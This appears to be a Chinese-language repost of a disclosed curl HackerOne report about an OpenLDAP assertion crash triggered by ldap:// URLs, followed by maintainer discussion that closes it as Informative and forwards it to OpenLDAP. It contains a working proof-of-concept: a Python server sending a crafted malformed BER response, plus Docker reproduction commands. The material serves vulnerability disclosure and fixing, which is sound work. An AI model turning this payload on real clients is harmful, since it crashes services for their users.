curl LDAP协议访问断言崩溃漏洞分析

本文详细分析了curl在处理LDAP URL时出现的断言崩溃问题,包括复现步骤、影响范围和开发团队讨论。该漏洞源于OpenLDAP库对畸形消息的处理不当,可能导致服务拒绝攻击。

curl ASSERTs when accessing an LDAP URL

摘要

curl在访问LDAP URL时可能崩溃。

1
2
3
curl ldap://localhost:1388
curl: result.c:930: try_read1msg: Assertion `!BER_BVISEMPTY( &resoid )' failed.
Aborted (core dumped)

本报告未使用AI生成,由oss-fuzz启用,但由我向curl-fuzzer添加LDAP支持而发起。

受影响版本

这适用于我的系统curl以及master版本的curl。

复现步骤

运行以下Python脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python3
"""
Simple socket server that sends a specific binary response on port 1388.
"""

import socket
import logging
import sys

# Set up logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
log = logging.getLogger(__name__)

# The binary response to send
BINARY_RESPONSE = b'0%1\x01\x00x\x00\r\x00\x00\x00\x00\x00\x8a\x00\r\x00\x06\x00\r\x00\x00\x00\r\x00\x00\x00\x00\xc7\xc7\xc7\x9b\x80\xeb\x05123456\x00\x03\x00\x00\x00\tcn=d\x00\x10man'

PORT = 1388

def handle_client(client_socket, client_address):
    """Handle a single client connection."""
    try:
        log.info(f"Client connected from {client_address}")

        # Send the binary response
        client_socket.send(BINARY_RESPONSE)
        log.info(f"Sent {len(BINARY_RESPONSE)} bytes to {client_address}")

    except Exception as e:
        log.error(f"Error handling client {client_address}: {e}")
    finally:
        # Close the client socket
        client_socket.close()
        log.info(f"Connection closed for {client_address}")

def run_server():
    """Run the socket server."""
    # Create a socket
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Allow socket reuse
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    try:
        # Bind to the port
        server_socket.bind(('localhost', PORT))
        server_socket.listen(5)

        log.info(f"Server listening on port {PORT}")
        log.info("Press Ctrl+C to stop the server")

        while True:
            try:
                # Accept a client connection
                client_socket, client_address = server_socket.accept()

                # Handle the client in the same thread (simple approach)
                handle_client(client_socket, client_address)

            except KeyboardInterrupt:
                log.info("Server shutdown requested")
                break
            except Exception as e:
                log.error(f"Error accepting connection: {e}")

    except Exception as e:
        log.error(f"Error starting server: {e}")
        sys.exit(1)
    finally:
        server_socket.close()
        log.info("Server socket closed")

if __name__ == "__main__":
    run_server()

这将在端口1388上运行一个服务器,仅返回二进制响应。

然后调用curl:

1
2
3
curl ldap://localhost:1388
curl: result.c:930: try_read1msg: Assertion `!BER_BVISEMPTY( &resoid )' failed.
Aborted (core dumped)

curl在OpenLDAP中断言失败。

影响

摘要: 如果curl在服务器上使用,攻击者可以影响传递给curl的URL,并且该URL可以使用LDAP协议,服务器将崩溃,可能导致服务中断。

开发团队讨论

bagder (curl staff) 评论于 July 17, 2025, 7:24pm UTC: 这看起来像是openldap内部的断言。此外,断言意味着调试构建,可能遵循不同的规则。

cmeister2 (curl staff) 评论于 July 17, 2025, 7:57pm UTC: 在ubuntu:latest Docker容器(即ubuntu:noble)中可复现此问题,没有调试库(据我所知):

1
2
3
4
5
6
7
docker run -it -v $PWD/socket_server.py:/tmp/socket_server.py ubuntu:latest 
...
export DEBIAN_FRONTEND=noninteractive
apt update >/dev/null 2>&1
apt install -y curl python3 >/dev/null 2>&1
python3 /tmp/socket_server.py &
curl ldap://localhost:1388

得到:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
$ docker run -it -v $PWD/socket_server.py:/tmp/socket_server.py ubuntu:latest 
root@f68274eeed75:/# export DEBIAN_FRONTEND=noninteractive
root@f68274eeed75:/# apt update >/dev/null 2>&1 
root@f68274eeed75:/# apt install -y curl python3 >/dev/null 2>&1
root@f68274eeed75:/# python3 /tmp/socket_server.py &
[1] 3113
root@f68274eeed75:/# 2025-07-17 19:56:23,952 - INFO - Server listening on port 1388
2025-07-17 19:56:23,952 - INFO - Press Ctrl+C to stop the server

root@f68274eeed75:/# curl ldap://localhost:1388
2025-07-17 19:56:44,348 - INFO - Client connected from ('127.0.0.1', 52256)
2025-07-17 19:56:44,349 - INFO - Sent 56 bytes to ('127.0.0.1', 52256)
2025-07-17 19:56:44,349 - INFO - Connection closed for ('127.0.0.1', 52256)
curl: ../../../../libraries/libldap/result.c:945: try_read1msg: Assertion `!BER_BVISEMPTY( &resoid )' failed.
Aborted (core dumped)
root@f68274eeed75:/#

jimfuller2024 (curl staff) 评论于 July 17, 2025, 8:14pm UTC: 已复现

1
2
3
curl ldap://localhost:1388
curl: result.c:952: try_read1msg: Assertion `!BER_BVISEMPTY( &resoid )' failed.
[1]    43669 IOT instruction (core dumped)  curl ldap://localhost:1388

正在调查…

jimfuller2024 (curl staff) 评论于 July 17, 2025, 8:21pm UTC: BER_前缀我认为指的是基本编码规则(Basic Encoding Rules),这是LDAP协议使用的数据格式…实际上是ASN.1的基本编码规则…我怀疑这些可能是运行时断言(但我需要深入研究ldap来确认)。

我们可能需要更好的响应,比如:

1
curl: (52) Received malformed LDAP message from server.

bagder (curl staff) 评论于 July 17, 2025, 9:39pm UTC:

  1. 我认为OpenLDAP在发布构建中不应该断言,这是一个bug。可能在Debian中?可能在OpenLDAP本身?断言来自ldap_result()函数调用内部,我无法检测到我们使用该函数有任何问题方式。
  2. 我们之前已经驳回了类似的攻击,其中崩溃的原因是"如果我们允许用户提供URL",因为如果用户决定要处理的URL,他们可以做无数恶作剧。
  3. 应用程序已经需要处理崩溃并适当重启。对于任何合理的部署来说,崩溃真的是一种DoS吗。(如果我们假设除非我们让用户提供URL,否则无法达到此崩溃。)

bagder (curl staff) 评论于 July 17, 2025, 9:58pm UTC: 我相当确定这是断言,即使在托管源代码中偏离了几行: https://git.openldap.org/openldap/openldap/-/blob/master/libraries/libldap/result.c?ref_type=heads#L1013

bagder (curl staff) 评论于 July 20, 2025, 12:46pm UTC: 现在收到了大量新的oss-fuzz报告,这些报告似乎都是OpenLDAP问题,就像这个一样。

jimfuller2024 (curl staff) 评论于 July 21, 2025, 8:09am UTC: 那么我们是否都同意这是openldap中的问题?并且有人认为使用NDEBUG会消失…我认为curl在这里能做的只是记录和/或向openldap项目提出问题。

bagder (curl staff) 评论于 July 21, 2025, 9:20am UTC: 有人认为使用NDEBUG会消失

断言会消失,问题当然是会发生什么。但我仍然认为这不是curl的问题。我们应该把这个带给OpenLDAP开发者。

hyc-ol 于 July 21, 2025, 9:51pm UTC 以默认权限加入此报告。

hyc-ol 评论于 July 21, 2025, 9:59pm UTC: 是的,使用NDEBUG会消失。我认为如果不想让它断言,它应该只是丢弃消息,因为它是畸形的。您可以向OpenLDAP ITS提交票据,我们将修补它。我们不认为这是一个安全问题。通常没有人将LDAP客户端指向随机不受信任的LDAP服务器。

bagder (curl staff) 于15天前关闭报告并将状态更改为Informative。

不是curl的安全问题。 我们应该把它带给OpenLDAP,可能也带给Debian。

bagder (curl staff) 评论于15天前: 谢谢@hyc-ol!

bagder (curl staff) 于15天前请求披露此报告。 根据项目的透明政策,我们希望所有报告都披露并公开。

cmeister2 (curl staff) 于15天前同意披露此报告。 此报告已于15天前披露。

hyc-ol 评论于14天前: 顺便说一句,如果使用curl的服务器允许用户输入任意URL,那么这更像是一个输入清理问题,很像SQL注入。不完全是底层库的错。

dfandrich (curl staff) 评论于14天前: 我不同意"使用curl的服务器允许用户输入任意URL"是一个问题。curl必须对服务器可能抛出的任何东西都具有鲁棒性,无论是友好的服务器还是不是。访问用户指定的URL,无论是本地用户还是远程用户(通过重定向或爬虫),从curl的角度来看应该是安全的(这排除了curl从该服务器准确接收的数据内容)。这包括LDAP服务器。

bagder (curl staff) 评论于13天前: 我提交了 https://bugs.openldap.org/show_bug.cgi?id=10370

报告详情

报告时间: July 17, 2025, 6:40pm UTC 报告者: cmeister2 报告对象: curl 参与者: 报告ID: #3258022 状态: Informative 严重性: No rating (—) 披露时间: July 22, 2025, 8:02am UTC 弱点: Business Logic Errors CVE ID: None 赏金: None 账户详情: None

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计